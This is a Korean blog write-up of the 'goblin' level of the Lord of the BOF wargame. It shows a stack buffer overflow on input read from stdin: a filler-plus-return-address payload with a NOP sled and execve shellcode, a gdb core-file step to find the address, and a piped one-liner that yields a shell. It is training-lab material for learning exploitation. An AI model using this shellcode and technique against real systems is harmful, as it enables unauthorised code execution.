[goblin - small buffer + stdin]
cobolt : hacking exposed
위의 id와 password로 로그인하면
아래와 같이 goblin 코드를 볼 수 있다.
'LOB - 02 cobolt' 와 유사한 문제이며, stdin으로 입력 받는다는 차이가 있다.
cobolt 문제와 같이 권한 문제로 먼저 tmp 디렉토리를 만든 뒤 바이너리를 복사한다.
그 뒤, buffer 16 바이트와 sfp 4바이트를 A로 채우고
eip 자리에 B를 넣은 뒤 쉘코드를 입력한다.
mkdir tmp
cp goblin ./tmp/goblin
cd tmp
python -c 'print "A"*20 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"' > a
./goblin < a
eip에 넣을 주소를 알아오기 위해 gdb로 core 파일을 연다.
gdb -c core
먼저 eip가 BBBB로 바뀐 것을 볼 수 있고,
스택을 보면 0x90이 채워진 것과 그 뒤에 쉘코드가 들어간 것을 확인할 수 있다.
(python -c 'print "A"*20 + "\x20\xfc\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"';cat) | ./goblin
실행 결과 goblin의 password를 얻을 수 있다.
'Wargame > The Lord of the BOF' 카테고리의 다른 글
LOB - 03 goblin - (2)환경 변수 이용 (0) | 2019.02.01 |
---|---|
LOB - 04 orc (0) | 2019.02.01 |
LOB - 02 cobolt (0) | 2019.02.01 |
LOB - 01 gremlin - (3)마무리 (0) | 2019.02.01 |
LOB - 01 gremlin - (2.2)쉘코드 수정 (0) | 2019.02.01 |
댓글